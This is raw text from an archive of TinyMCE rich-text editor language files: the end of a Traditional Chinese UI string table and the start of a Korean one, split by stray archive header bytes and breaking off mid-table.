"Plugins installed ({0}):": "({0}) \u500b\u5916\u639b\u5df2\u5b89\u88dd\uff1a",
"Premium plugins:": "\u52a0\u503c\u5916\u639b\uff1a",
"Learn more...": "\u4e86\u89e3\u66f4\u591a...",
"You are using {0}": "\u60a8\u6b63\u5728\u4f7f\u7528 {0}",
"Plugins": "\u5916\u639b",
"Handy Shortcuts": "\u5feb\u901f\u9375",
"Horizontal line": "\u6c34\u5e73\u7dda",
"Insert\/edit image": "\u63d2\u5165\/\u7de8\u8f2f \u5716\u7247",
"Image description": "\u5716\u7247\u63cf\u8ff0",
"Source": "\u5716\u7247\u7db2\u5740",
"Dimensions": "\u5c3a\u5bf8",
"Constrain proportions": "\u7b49\u6bd4\u4f8b\u7e2e\u653e",
"General": "\u4e00\u822c",
"Advanced": "\u9032\u968e",
"Style": "\u6a23\u5f0f",
"Vertical space": "\u9ad8\u5ea6",
"Horizontal space": "\u5bec\u5ea6",
"Border": "\u908a\u6846",
"Insert image": "\u63d2\u5165\u5716\u7247",
"Image...": "\u5716\u7247......",
"Image list": "\u5716\u7247\u6e05\u55ae",
"Rotate counterclockwise": "\u9006\u6642\u91dd\u65cb\u8f49",
"Rotate clockwise": "\u9806\u6642\u91dd\u65cb\u8f49",
"Flip vertically": "\u5782\u76f4\u7ffb\u8f49",
"Flip horizontally": "\u6c34\u5e73\u7ffb\u8f49",
"Edit image": "\u7de8\u8f2f\u5716\u7247",
"Image options": "\u5716\u7247\u9078\u9805",
"Zoom in": "\u653e\u5927",
"Zoom out": "\u7e2e\u5c0f",
"Crop": "\u88c1\u526a",
"Resize": "\u8abf\u6574\u5927\u5c0f",
"Orientation": "\u65b9\u5411",
"Brightness": "\u4eae\u5ea6",
"Sharpen": "\u92b3\u5316",
"Contrast": "\u5c0d\u6bd4",
"Color levels": "\u984f\u8272\u5c64\u6b21",
"Gamma": "\u4f3d\u99ac\u503c",
"Invert": "\u53cd\u8f49",
"Apply": "\u61c9\u7528",
"Back": "\u5f8c\u9000",
"Insert date\/time": "\u63d2\u5165 \u65e5\u671f\/\u6642\u9593",
"Date\/time": "\u65e5\u671f\/\u6642\u9593",
"Insert\/Edit Link": "\u63d2\u5165\/\u7de8\u8f2f\u9023\u7d50",
"Insert\/edit link": "\u63d2\u5165\/\u7de8\u8f2f\u9023\u7d50",
"Text to display": "\u986f\u793a\u6587\u5b57",
"Url": "\u7db2\u5740",
"Open link in...": "\u958b\u555f\u9023\u7d50\u65bc...",
"Current window": "\u76ee\u524d\u8996\u7a97",
"None": "\u7121",
"New window": "\u53e6\u958b\u8996\u7a97",
"Remove link": "\u79fb\u9664\u9023\u7d50",
"Anchors": "\u52a0\u5165\u9328\u9ede",
"Link...": "\u9023\u7d50...",
"Paste or type a link": "\u8cbc\u4e0a\u6216\u8f38\u5165\u9023\u7d50",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u4f60\u6240\u586b\u5beb\u7684URL\u70ba\u96fb\u5b50\u90f5\u4ef6\uff0c\u9700\u8981\u52a0\u4e0amailto:\u524d\u7db4\u55ce\uff1f",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u4f60\u6240\u586b\u5beb\u7684URL\u5c6c\u65bc\u5916\u90e8\u93c8\u63a5\uff0c\u9700\u8981\u52a0\u4e0ahttp:\/\/:\u524d\u7db4\u55ce\uff1f",
"Link list": "\u9023\u7d50\u6e05\u55ae",
"Insert video": "\u63d2\u5165\u5f71\u97f3",
"Insert\/edit video": "\u63d2\u4ef6\/\u7de8\u8f2f \u5f71\u97f3",
"Insert\/edit media": "\u63d2\u5165\/\u7de8\u8f2f \u5a92\u9ad4",
"Alternative source": "\u66ff\u4ee3\u5f71\u97f3",
"Alternative source URL": "\u66ff\u4ee3\u4f86\u6e90URL",
"Media poster (Image URL)": "\u5a92\u9ad4\u6d77\u5831\uff08\u5f71\u50cfImage URL\uff09",
"Paste your embed code below:": "\u8acb\u5c07\u60a8\u7684\u5d4c\u5165\u5f0f\u7a0b\u5f0f\u78bc\u8cbc\u5728\u4e0b\u9762:",
"Embed": "\u5d4c\u5165\u78bc",
"Media...": "\u5a92\u9ad4...",
"Nonbreaking space": "\u4e0d\u5206\u884c\u7684\u7a7a\u683c",
"Page break": "\u5206\u9801",
"Paste as text": "\u4ee5\u7d14\u6587\u5b57\u8cbc\u4e0a",
"Preview": "\u9810\u89bd",
"Print...": "\u5217\u5370...",
"Save": "\u5132\u5b58",
"Find": "\u641c\u5c0b",
"Replace with": "\u66f4\u63db",
"Replace": "\u66ff\u63db",
"Replace all": "\u66ff\u63db\u5168\u90e8",
"Previous": "\u4e0a\u4e00\u500b",
"Next": "\u4e0b\u4e00\u500b",
"Find and replace...": "\u5c0b\u627e\u53ca\u53d6\u4ee3...",
"Could not find the specified string.": "\u7121\u6cd5\u67e5\u8a62\u5230\u6b64\u7279\u5b9a\u5b57\u4e32",
"Match case": "\u76f8\u5339\u914d\u6848\u4ef6",
"Find whole words only": "\u50c5\u627e\u51fa\u5b8c\u6574\u5b57\u532f",
"Spell check": "\u62fc\u5beb\u6aa2\u67e5",
"Ignore": "\u5ffd\u7565",
"Ignore all": "\u5ffd\u7565\u6240\u6709",
"Finish": "\u5b8c\u6210",
"Add to Dictionary": "\u52a0\u5165\u5b57\u5178\u4e2d",
"Insert table": "\u63d2\u5165\u8868\u683c",
"Table properties": "\u8868\u683c\u5c6c\u6027",
"Delete table": "\u522a\u9664\u8868\u683c",
"Cell": "\u5132\u5b58\u683c",
"Row": "\u5217",
"Column": "\u884c",
"Cell properties": "\u5132\u5b58\u683c\u5c6c\u6027",
"Merge cells": "\u5408\u4f75\u5132\u5b58\u683c",
"Split cell": "\u5206\u5272\u5132\u5b58\u683c",
"Insert row before": "\u63d2\u5165\u5217\u5728...\u4e4b\u524d",
"Insert row after": "\u63d2\u5165\u5217\u5728...\u4e4b\u5f8c",
"Delete row": "\u522a\u9664\u5217",
"Row properties": "\u5217\u5c6c\u6027",
"Cut row": "\u526a\u4e0b\u5217",
"Copy row": "\u8907\u88fd\u5217",
"Paste row before": "\u8cbc\u4e0a\u5217\u5728...\u4e4b\u524d",
"Paste row after": "\u8cbc\u4e0a\u5217\u5728...\u4e4b\u5f8c",
"Insert column before": "\u63d2\u5165\u6b04\u4f4d\u5728...\u4e4b\u524d",
"Insert column after": "\u63d2\u5165\u6b04\u4f4d\u5728...\u4e4b\u5f8c",
"Delete column": "\u522a\u9664\u884c",
"Cols": "\u6b04\u4f4d\u6bb5",
"Rows": "\u5217",
"Width": "\u5bec\u5ea6",
"Height": "\u9ad8\u5ea6",
"Cell spacing": "\u5132\u5b58\u683c\u5f97\u9593\u8ddd",
"Cell padding": "\u5132\u5b58\u683c\u7684\u908a\u8ddd",
"Show caption": "\u986f\u793a\u6a19\u984c",
"Left": "\u5de6\u908a",
"Center": "\u4e2d\u9593",
"Right": "\u53f3\u908a",
"Cell type": "\u5132\u5b58\u683c\u7684\u985e\u578b",
"Scope": "\u7bc4\u570d",
"Alignment": "\u5c0d\u9f4a",
"H Align": "\u6c34\u5e73\u4f4d\u7f6e",
"V Align": "\u5782\u76f4\u4f4d\u7f6e",
"Top": "\u7f6e\u9802",
"Middle": "\u7f6e\u4e2d",
"Bottom": "\u7f6e\u5e95",
"Header cell": "\u6a19\u982d\u5132\u5b58\u683c",
"Row group": "\u5217\u7fa4\u7d44",
"Column group": "\u6b04\u4f4d\u7fa4\u7d44",
"Row type": "\u884c\u7684\u985e\u578b",
"Header": "\u6a19\u982d",
"Body": "\u4e3b\u9ad4",
"Footer": "\u9801\u5c3e",
"Border color": "\u908a\u6846\u984f\u8272",
"Insert template...": "\u63d2\u5165\u6a23\u7248...",
"Templates": "\u6a23\u7248",
"Template": "\u6a23\u677f",
"Text color": "\u6587\u5b57\u984f\u8272",
"Background color": "\u80cc\u666f\u984f\u8272",
"Custom...": "\u81ea\u8a02",
"Custom color": "\u81ea\u8a02\u984f\u8272",
"No color": "No color",
"Remove color": "\u79fb\u9664\u984f\u8272",
"Table of Contents": "\u76ee\u9304",
"Show blocks": "\u986f\u793a\u5340\u584a\u8cc7\u8a0a",
"Show invisible characters": "\u986f\u793a\u96b1\u85cf\u5b57\u5143",
"Word count": "\u8a08\u7b97\u5b57\u6578",
"Count": "\u8a08\u7b97",
"Document": "\u6587\u4ef6",
"Selection": "\u9078\u9805",
"Words": "\u5b57\u6578",
"Words: {0}": "\u5b57\u6578\uff1a{0}",
"{0} words": "{0} \u5b57\u5143",
"File": "\u6a94\u6848",
"Edit": "\u7de8\u8f2f",
"Insert": "\u63d2\u5165",
"View": "\u6aa2\u8996",
"Format": "\u683c\u5f0f",
"Table": "\u8868\u683c",
"Tools": "\u5de5\u5177",
"Powered by {0}": "\u7531 {0} \u63d0\u4f9b",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u8c50\u5bcc\u7684\u6587\u672c\u5340\u57df\u3002\u6309ALT-F9\u524d\u5f80\u4e3b\u9078\u55ae\u3002\u6309ALT-F10\u547c\u53eb\u5de5\u5177\u6b04\u3002\u6309ALT-0\u5c0b\u6c42\u5e6b\u52a9",
"Image title": "\u5716\u7247\u6a19\u984c",
"Border width": "\u6846\u7dda\u5bec\u5ea6",
"Border style": "\u6846\u7dda\u6a23\u5f0f",
"Error": "\u932f\u8aa4",
"Warn": "\u8b66\u544a",
"Valid": "\u6709\u6548",
"To open the popup, press Shift+Enter": "\u8981\u958b\u555f\u5f48\u51fa\u8996\u7a97\uff0c\u8acb\u6309Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "\u5bcc\u6587\u672c\u5340\u57df\u3002\u8acb\u6309ALT-0\u5c0b\u6c42\u5354\u52a9\u3002",
"System Font": "\u7cfb\u7d71\u5b57\u578b",
"Failed to upload image: {0}": "\u7121\u6cd5\u4e0a\u50b3\u5f71\u50cf\uff1a{0}",
"Failed to load plugin: {0} from url {1}": "\u7121\u6cd5\u4e0a\u50b3\u63d2\u4ef6\uff1a{0}\u81eaurl{1}",
"Failed to load plugin url: {0}": "\u7121\u6cd5\u4e0a\u50b3\u63d2\u4ef6\uff1a{0}",
"Failed to initialize plugin: {0}": "\u7121\u6cd5\u555f\u52d5\u63d2\u4ef6\uff1a{0}",
"example": "\u7bc4\u4f8b",
"Search": "\u641c\u7d22",
"All": "\u5168\u90e8",
"Currency": "\u8ca8\u5e63",
"Text": "\u6587\u672c",
"Quotations": "\u5f15\u7528",
"Mathematical": "\u6578\u5b78",
"Extended Latin": "\u62c9\u4e01\u5b57\u6bcd\u64f4\u5145",
"Symbols": "\u7b26\u865f",
"Arrows": "\u7bad\u982d",
"User Defined": "\u4f7f\u7528\u8005\u5df2\u5b9a\u7fa9",
"dollar sign": "\u7f8e\u5143\u7b26\u865f",
"currency sign": "\u8ca8\u5e63\u7b26\u865f",
"euro-currency sign": "\u6b50\u5143\u7b26\u865f",
"colon sign": "\u79d1\u6717\u7b26\u865f",
"cruzeiro sign": "\u514b\u9b6f\u8cfd\u7f85\u7b26\u865f",
"french franc sign": "\u6cd5\u6717\u7b26\u865f",
"lira sign": "\u91cc\u62c9\u7b26\u865f",
"mill sign": "\u6587\u7b26\u865f",
"naira sign": "\u5948\u62c9\u7b26\u865f",
"peseta sign": "\u6bd4\u585e\u5854\u7b26\u865f",
"rupee sign": "\u76e7\u6bd4\u7b26\u865f",
"won sign": "\u97d3\u571c\u7b26\u865f",
"new sheqel sign": "\u65b0\u8b1d\u514b\u723e\u7b26\u865f",
"dong sign": "\u8d8a\u5357\u76fe\u7b26\u865f",
"kip sign": "\u8001\u64be\u5e63\u7b26\u865f",
"tugrik sign": "\u8499\u53e4\u5e63\u7b26\u865f",
"drachma sign": "\u5fb7\u514b\u62c9\u99ac\u7b26\u865f",
"german penny symbol": "\u5fb7\u570b\u5206\u7b26\u865f",
"peso sign": "\u62ab\u7d22\u7b26\u865f",
"guarani sign": "\u5df4\u62c9\u572d\u5e63\u7b26\u865f",
"austral sign": "\u963f\u6839\u5ef7\u5e63\u7b26\u865f",
"hryvnia sign": "\u70cf\u514b\u862d\u5e63\u7b26\u865f",
"cedi sign": "\u8fe6\u7d0d\u5e63\u7b26\u865f",
"livre tournois sign": "\u91cc\u5f17\u723e\u7b26\u865f",
"spesmilo sign": "\u570b\u969b\u5e63\u7b26\u865f",
"tenge sign": "\u54c8\u85a9\u514b\u5e63\u7b26\u865f",
"indian rupee sign": "\u5370\u5ea6\u76e7\u6bd4\u7b26\u865f",
"turkish lira sign": "\u571f\u8033\u5176\u91cc\u62c9\u7b26\u865f",
"nordic mark sign": "\u5317\u6b50\u99ac\u514b\u7b26\u865f",
"manat sign": "\u4e9e\u585e\u62dc\u7136\u5e63\u7b26\u865f",
"ruble sign": "\u76e7\u5e03\u7b26\u865f",
"yen character": "\u65e5\u5713\u7b26\u865f",
"yuan character": "\u4eba\u6c11\u5e63\u7b26\u865f",
"yuan character, in hong kong and taiwan": "\u6e2f\u5143\u8207\u53f0\u5e63\u7b26\u865f",
"yen\/yuan character variant one": "\u65e5\u5713\/\u4eba\u6c11\u5e63\u7b26\u865f\u8b8a\u5316\u578b",
"Loading emoticons...": "\u8f09\u5165\u8868\u60c5\u7b26\u865f\u2026",
"Could not load emoticons": "\u7121\u6cd5\u8f09\u5165\u8868\u60c5\u7b26\u865f",
"People": "\u4eba",
"Animals and Nature": "\u52d5\u7269\u8207\u81ea\u7136",
"Food and Drink": "\u98f2\u98df",
"Activity": "\u6d3b\u52d5",
"Travel and Places": "\u65c5\u884c\u8207\u5730\u9ede",
"Objects": "\u7269\u4ef6",
"Flags": "\u65d7\u6a19",
"Characters": "\u5b57\u5143",
"Characters (no spaces)": "\u5b57\u5143\uff08\u7121\u7a7a\u683c\uff09",
"{0} characters": "{0}\u5b57\u5143",
"Error: Form submit field collision.": "\u932f\u8aa4\uff1a\u8868\u683c\u905e\u4ea4\u6b04\u4f4d\u885d\u7a81\u3002",
"Error: No form element found.": "\u932f\u8aa4\uff1a\u627e\u4e0d\u5230\u8868\u683c\u5143\u7d20\u3002",
"Update": "\u66f4\u65b0",
"Color swatch": "\u8272\u5f69\u6a23\u672c",
"Turquoise": "\u571f\u8033\u5176\u85cd",
"Green": "\u7da0\u8272",
"Blue": "\u85cd\u8272",
"Purple": "\u7d2b\u8272",
"Navy Blue": "\u6df1\u85cd\u8272",
"Dark Turquoise": "\u6df1\u571f\u8033\u5176\u85cd",
"Dark Green": "\u6df1\u7da0\u8272",
"Medium Blue": "\u4e2d\u85cd\u8272",
"Medium Purple": "\u4e2d\u7d2b\u8272",
"Midnight Blue": "\u9ed1\u85cd\u8272",
"Yellow": "\u9ec3\u8272",
"Orange": "\u6a59\u8272",
"Red": "\u7d05\u8272",
"Light Gray": "\u6dfa\u7070\u8272",
"Gray": "\u7070\u8272",
"Dark Yellow": "\u6df1\u9ec3\u8272",
"Dark Orange": "\u6df1\u6a59\u8272",
"Dark Red": "\u6697\u7d05\u8272",
"Medium Gray": "\u4e2d\u7070\u8272",
"Dark Gray": "\u6df1\u7070\u8272",
"Light Green": "\u6de1\u7da0\u8272",
"Light Yellow": "\u6dfa\u9ec3\u8272",
"Light Red": "\u6dfa\u7d05\u8272",
"Light Purple": "\u6dfa\u7d2b\u8272",
"Light Blue": "\u6dfa\u85cd\u8272",
"Dark Purple": "\u6df1\u7d2b\u8272",
"Dark Blue": "\u6df1\u85cd\u8272",
"Black": "\u9ed1\u8272",
"White": "\u767d\u8272",
"Switch to or from fullscreen mode": "\u8f49\u63db\u81ea\/\u81f3\u5168\u87a2\u5e55\u6a21\u5f0f",
"Open help dialog": "\u958b\u555f\u5354\u52a9\u5c0d\u8a71",
"history": "\u6b77\u53f2",
"styles": "\u6a23\u5f0f",
"formatting": "\u683c\u5f0f",
"alignment": "\u5c0d\u9f4a",
"indentation": "\u7e2e\u6392",
"permanent pen": "\u6c38\u4e45\u6027\u7b46",
"comments": "\u8a3b\u89e3",
"Format Painter": "\u8907\u88fd\u683c\u5f0f",
"Insert\/edit iframe": "\u63d2\u5165\/\u7de8\u8f2fiframe",
"Capitalization": "\u5927\u5beb",
"lowercase": "\u5c0f\u5beb",
"UPPERCASE": "\u5927\u5beb",
"Title Case": "\u5b57\u9996\u5927\u5beb",
"Permanent Pen Properties": "\u6c38\u4e45\u6a19\u8a18\u5c6c\u6027",
"Permanent pen properties...": "\u6c38\u4e45\u6a19\u8a18\u5c6c\u6027......",
"Font": "\u5b57\u578b",
"Size": "\u5b57\u5f62\u5927\u5c0f",
"More...": "\u66f4\u591a\u8cc7\u8a0a......",
"Spellcheck Language": "\u62fc\u5beb\u8a9e\u8a00",
"Select...": "\u9078\u64c7......",
"Preferences": "\u9996\u9078\u9805",
"Yes": "\u662f",
"No": "\u5426",
"Keyboard Navigation": "\u9375\u76e4\u5c0e\u822a",
"Version": "\u7248\u672c",
"Anchor": "\u52a0\u5165\u9328\u9ede",
"Special character": "\u7279\u6b8a\u5b57\u5143",
"Code sample": "\u7a0b\u5f0f\u78bc\u7bc4\u4f8b",
"Color": "\u984f\u8272",
"Emoticons": "\u8868\u60c5",
"Document properties": "\u6587\u4ef6\u7684\u5c6c\u6027",
"Image": "\u5716\u7247",
"Insert link": "\u63d2\u5165\u9023\u7d50",
"Target": "\u958b\u555f\u65b9\u5f0f",
"Link": "\u9023\u7d50",
"Poster": "\u9810\u89bd\u5716\u7247",
"Media": "\u5a92\u9ad4",
"Print": "\u5217\u5370",
"Prev": "\u4e0a\u4e00\u500b",
"Find and replace": "\u5c0b\u627e\u53ca\u53d6\u4ee3",
"Whole words": "\u6574\u500b\u55ae\u5b57",
"Spellcheck": "\u62fc\u5b57\u6aa2\u67e5",
"Caption": "\u8868\u683c\u6a19\u984c",
"Insert template": "\u63d2\u5165\u6a23\u7248"
});PK
h�\�'�O�O!program/js/tinymce/langs/ko_KR.jsnu�[���tinymce.addI18n('ko_KR',{
"Redo": "\ub2e4\uc2dc \uc2e4\ud589",
"Undo": "\uc2e4\ud589 \ucde8\uc18c",
"Cut": "\uc798\ub77c\ub0b4\uae30",
"Copy": "\ubcf5\uc0ac",
"Paste": "\ubd99\uc5ec\ub123\uae30",
"Select all": "\uc804\uccb4\uc120\ud0dd",
"New document": "\uc0c8 \ubb38\uc11c",
"Ok": "\ud655\uc778",
"Cancel": "\ucde8\uc18c",
"Visual aids": "\uc2dc\uac01\uad50\uc7ac",
"Bold": "\uad75\uac8c",
"Italic": "\uae30\uc6b8\uc784\uaf34",
"Underline": "\ubc11\uc904",
"Strikethrough": "\ucde8\uc18c\uc120",
"Superscript": "\uc704 \ucca8\uc790",
"Subscript": "\uc544\ub798 \ucca8\uc790",
"Clear formatting": "\uc11c\uc2dd \uc9c0\uc6b0\uae30",
"Align left": "\uc67c\ucabd \ub9de\ucda4",
"Align center": "\uac00\uc6b4\ub370 \ub9de\ucda4",
"Align right": "\uc624\ub978\ucabd \ub9de\ucda4",
"Justify": "\uc591\ucabd \ub9de\ucda4",
"Bullet list": "\uae00\uba38\ub9ac \uae30\ud638 \ubaa9\ub85d",
"Numbered list": "\ubc88\ud638 \ub9e4\uae30\uae30 \ubaa9\ub85d",
"Decrease indent": "\ub0b4\uc5b4\uc4f0\uae30",
"Increase indent": "\ub4e4\uc5ec\uc4f0\uae30",
"Close": "\ub2eb\uae30",
"Formats": "\uc11c\uc2dd",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\ube0c\ub77c\uc6b0\uc800\uac00 \ud074\ub9bd\ubcf4\ub4dc \uc811\uadfc\uc744 \uc9c0\uc6d0\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4. Ctrl+X\/C\/V \ub2e8\ucd95\ud0a4\ub97c \uc774\uc6a9\ud558\uc2ed\uc2dc\uc624.",
"Headers": "\uba38\ub9ac\uae00",
"Header 1": "\uba38\ub9ac\uae00 1",
"Header 2": "\uba38\ub9ac\uae00 2",
"Header 3": "\uba38\ub9ac\uae00 3",
"Header 4": "\uba38\ub9ac\uae00 4",
"Header 5": "\uba38\ub9ac\uae00 5",
"Header 6": "\uba38\ub9ac\uae00 6",
"Headings": "\uc81c\ubaa9",
"Heading 1": "\uc81c\ubaa9 1",
"Heading 2": "\uc81c\ubaa9 2",
"Heading 3": "\uc81c\ubaa9 3",
"Heading 4": "\uc81c\ubaa9 4",
"Heading 5": "\uc81c\ubaa9 5",
"Heading 6": "\uc81c\ubaa9 6",
"Preformatted": "\uc11c\uc2dd \ubbf8\uc124\uc815",
"Div": "Div",
"Pre": "Pre",
"Code": "\ucf54\ub4dc",
"Paragraph": "\ub2e8\ub77d",
"Blockquote": "\uc778\uc6a9\ubb38",
"Inline": "\uc778\ub77c\uc778",
"Blocks": "\ube14\ub85d",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\uc2a4\ud0c0\uc77c\ubcf5\uc0ac \ub044\uae30. \uc774 \uc635\uc158\uc744 \ub044\uae30 \uc804\uc5d0\ub294 \ubcf5\uc0ac \uc2dc, \uc2a4\ud0c0\uc77c\uc774 \ubcf5\uc0ac\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.",
"Fonts": "\uae00\uaf34",
"Font Sizes": "\uae00\uaf34 \ud06c\uae30",
"Class": "\ud074\ub798\uc2a4",
"Browse for an image": "\uc774\ubbf8\uc9c0 \ucc3e\uae30",
"OR": "\ub610\ub294",
"Drop an image here": "\uc5ec\uae30\ub85c \uc774\ubbf8\uc9c0 \ub04c\uc5b4\uc624\uae30",
"Upload": "\uc5c5\ub85c\ub4dc",
"Block": "\ube14\ub85d",
"Align": "\uc815\ub82c",
"Default": "\uae30\ubcf8",
"Circle": "\uc6d0",
"Disc": "\uc6d0\ubc18",
"Square": "\uc0ac\uac01",
"Lower Alpha": "\uc54c\ud30c\ubcb3 \uc18c\ubb38\uc790",
"Lower Greek": "\uadf8\ub9ac\uc2a4\uc5b4 \uc18c\ubb38\uc790",
"Lower Roman": "\ub85c\ub9c8\uc790 \uc18c\ubb38\uc790",
"Upper Alpha": "\uc54c\ud30c\ubcb3 \uc18c\ubb38\uc790",
"Upper Roman": "\ub85c\ub9c8\uc790 \ub300\ubb38\uc790",
"Anchor...": "\uc575\ucee4...",
"Name": "\uc774\ub984",
"Id": "\uc544\uc774\ub514",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "\uc544\uc774\ub514\ub294 \ubb38\uc790, \uc22b\uc790, \ub300\uc2dc, \uc810, \ucf5c\ub860 \ub610\ub294 \ubc11\uc904\ub85c \uc2dc\uc791\ud574\uc57c\ud569\ub2c8\ub2e4.",
"You have unsaved changes are you sure you want to navigate away?": "\uc800\uc7a5\ud558\uc9c0 \uc54a\uc740 \uc815\ubcf4\uac00 \uc788\uc2b5\ub2c8\ub2e4. \uc774 \ud398\uc774\uc9c0\ub97c \ubc97\uc5b4\ub098\uc2dc\uaca0\uc2b5\ub2c8\uae4c?",
"Restore last draft": "\ub9c8\uc9c0\ub9c9 \ucd08\uc548 \ubcf5\uc6d0",
"Special character...": "\ud2b9\uc218 \ubb38\uc790...",
"Source code": "\uc18c\uc2a4\ucf54\ub4dc",
"Insert\/Edit code sample": "\ucf54\ub4dc\uc0d8\ud50c \uc0bd\uc785\/\ud3b8\uc9d1",
"Language": "\uc5b8\uc5b4",
"Code sample...": "\ucf54\ub4dc \uc0d8\ud50c...",
"Color Picker": "\uc0c9 \uc120\ud0dd\uae30",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "\uc67c\ucabd\uc5d0\uc11c \uc624\ub978\ucabd",
"Right to left": "\uc624\ub978\ucabd\uc5d0\uc11c \uc67c\ucabd",
"Emoticons...": "\uc774\ubaa8\ud2f0\ucf58...",
"Metadata and Document Properties": "\uba54\ud0c0\ub370\uc774\ud130\uc640 \ubb38\uc11c \uc18d\uc131",
"Title": "\uc81c\ubaa9",
"Keywords": "\ud0a4\uc6cc\ub4dc",
"Description": "\uc124\uba85",
"Robots": "\ub85c\ubd07",
"Author": "\uc800\uc790",
"Encoding": "\uc778\ucf54\ub529",
"Fullscreen": "\uc804\uccb4\ud654\uba74",
"Action": "\ub3d9\uc791",
"Shortcut": "\ub2e8\ucd95\ud0a4",
"Help": "\ub3c4\uc6c0\ub9d0",
"Address": "\uc8fc\uc18c",
"Focus to menubar": "\uba54\ub274\uc5d0 \ud3ec\ucee4\uc2a4",
"Focus to toolbar": "\ud234\ubc14\uc5d0 \ud3ec\ucee4\uc2a4",
"Focus to element path": "element path\uc5d0 \ud3ec\ucee4\uc2a4",
"Focus to contextual toolbar": "\ucf04\ud14d\uc2a4\ud2b8 \ud234\ubc14\uc5d0 \ud3ec\ucee4\uc2a4",
"Insert link (if link plugin activated)": "\ub9c1\ud06c \uc0bd\uc785 (link \ud50c\ub7ec\uadf8\uc778\uc774 \ud65c\uc131\ud654\ub41c \uc0c1\ud0dc\uc5d0\uc11c)",
"Save (if save plugin activated)": "\uc800\uc7a5 (save \ud50c\ub7ec\uadf8\uc778\uc774 \ud65c\uc131\ud654\ub41c \uc0c1\ud0dc\uc5d0\uc11c)",
"Find (if searchreplace plugin activated)": "\ucc3e\uae30(searchreplace \ud50c\ub7ec\uadf8\uc778\uc774 \ud65c\uc131\ud654\ub41c \uc0c1\ud0dc\uc5d0\uc11c)",
"Plugins installed ({0}):": "\uc124\uce58\ub41c \ud50c\ub7ec\uadf8\uc778 ({0}):",
"Premium plugins:": "\uace0\uae09 \ud50c\ub7ec\uadf8\uc778",
"Learn more...": "\uc880 \ub354 \uc0b4\ud3b4\ubcf4\uae30",
"You are using {0}": "{0}\ub97c \uc0ac\uc6a9\uc911",
"Plugins": "\ud50c\ub7ec\uadf8\uc778",
"Handy Shortcuts": "\ub2e8\ucd95\ud0a4",
"Horizontal line": "\uac00\ub85c",
"Insert\/edit image": "\uc774\ubbf8\uc9c0 \uc0bd\uc785\/\uc218\uc815",
"Image description": "\uc774\ubbf8\uc9c0 \uc124\uba85",
"Source": "\uc18c\uc2a4",
"Dimensions": "\ud06c\uae30",
"Constrain proportions": "\uc791\uc5c5 \uc81c\ud55c",
"General": "\uc77c\ubc18",
"Advanced": "\uace0\uae09",
"Style": "\uc2a4\ud0c0\uc77c",
"Vertical space": "\uc218\uc9c1 \uacf5\ubc31",
"Horizontal space": "\uc218\ud3c9 \uacf5\ubc31",
"Border": "\ud14c\ub450\ub9ac",
"Insert image": "\uc774\ubbf8\uc9c0 \uc0bd\uc785",
"Image...": "\uc774\ubbf8\uc9c0...",
"Image list": "\uc774\ubbf8\uc9c0 \ubaa9\ub85d",
"Rotate counterclockwise": "\uc2dc\uacc4\ubc18\ub300\ubc29\ud5a5\uc73c\ub85c \ud68c\uc804",
"Rotate clockwise": "\uc2dc\uacc4\ubc29\ud5a5\uc73c\ub85c \ud68c\uc804",
"Flip vertically": "\uc218\uc9c1 \ub4a4\uc9d1\uae30",
"Flip horizontally": "\uc218\ud3c9 \ub4a4\uc9d1\uae30",
"Edit image": "\uc774\ubbf8\uc9c0 \ud3b8\uc9d1",
"Image options": "\uc774\ubbf8\uc9c0 \uc635\uc158",
"Zoom in": "\ud655\ub300",
"Zoom out": "\ucd95\uc18c",
"Crop": "\uc790\ub974\uae30",
"Resize": "\ud06c\uae30 \uc870\uc808",
"Orientation": "\ubc29\ud5a5",
"Brightness": "\ubc1d\uae30",
"Sharpen": "\uc120\uba85\ud558\uac8c",
"Contrast": "\ub300\ube44",
"Color levels": "\uc0c9\uc0c1\ub808\ubca8",
"Gamma": "\uac10\ub9c8",
"Invert": "\ubc18\uc804",
"Apply": "\uc801\uc6a9",
"Back": "\ub4a4\ub85c",
"Insert date\/time": "\ub0a0\uc9dc\/\uc2dc\uac04\uc0bd\uc785",
"Date\/time": "\ub0a0\uc9dc\/\uc2dc\uac04",
"Insert\/Edit Link": "\ub9c1\ud06c \uc0bd\uc785\/\ud3b8\uc9d1",
"Insert\/edit link": "\ub9c1\ud06c \uc0bd\uc785\/\uc218\uc815",
"Text to display": "\ubcf8\ubb38",
"Url": "\uc8fc\uc18c",
"Open link in...": "...\uc5d0\uc11c \ub9c1\ud06c \uc5f4\uae30",
"Current window": "\ud604\uc7ac \ucc3d",
"None": "\uc5c6\uc74c",
"New window": "\uc0c8\ucc3d",
"Remove link": "\ub9c1\ud06c\uc0ad\uc81c",
"Anchors": "\ucc45\uac08\ud53c",
"Link...": "\ub9c1\ud06c...",
"Paste or type a link": "\ub9c1\ud06c\ub97c \ubd99\uc5ec\ub123\uac70\ub098 \uc785\ub825\ud558\uc138\uc694",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\ud604\uc7ac E-mail\uc8fc\uc18c\ub97c \uc785\ub825\ud558\uc168\uc2b5\ub2c8\ub2e4. E-mail \uc8fc\uc18c\uc5d0 \ub9c1\ud06c\ub97c \uac78\uae4c\uc694?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\ud604\uc7ac \uc6f9\uc0ac\uc774\ud2b8 \uc8fc\uc18c\ub97c \uc785\ub825\ud558\uc168\uc2b5\ub2c8\ub2e4. \ud574\ub2f9 \uc8fc\uc18c\uc5d0 \ub9c1\ud06c\ub97c \uac78\uae4c\uc694?",
"Link list": "\ub9c1\ud06c \ub9ac\uc2a4\ud2b8",
"Insert video": "\ube44\ub514\uc624 \uc0bd\uc785",
"Insert\/edit video": "\ube44\ub514\uc624 \uc0bd\uc785\/\uc218\uc815",
"Insert\/edit media": "\ubbf8\ub514\uc5b4 \uc0bd\uc785\/\uc218\uc815",
"Alternative source": "\ub300\uccb4 \uc18c\uc2a4",
